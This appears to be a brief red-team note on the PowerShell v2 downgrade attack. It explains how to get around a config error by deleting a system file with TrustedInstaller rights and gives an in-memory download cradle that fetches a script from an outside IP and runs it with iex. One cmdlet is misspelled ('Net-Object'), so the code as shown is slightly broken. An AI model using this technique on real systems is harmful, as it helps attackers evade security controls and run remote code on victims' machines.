PowerShell version 2

PowerShell downgrade attack is popular with red teams. If you can run PowerShell v2, ALL security measures we have seen are bypassed as v2 simply doesn't support them.

In case you receive the following error message: Create : Exception calling "Create" with "1" argument(s): "Configuration system failed to initialize"

You will need to delete the C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.Config You will require TrustedInstaller rights for this:

https://github.com/rara64/GetTrustedInstaller

Downloading into memory using PowerShell 2

$downloader = Net-Object -ComObject WinHttp.WinHttpRequest.5.1
$downloader.open("GET", "http://192.168.2.2/script.ps1", $false)
$downloader.send()
iex $downloader.responseText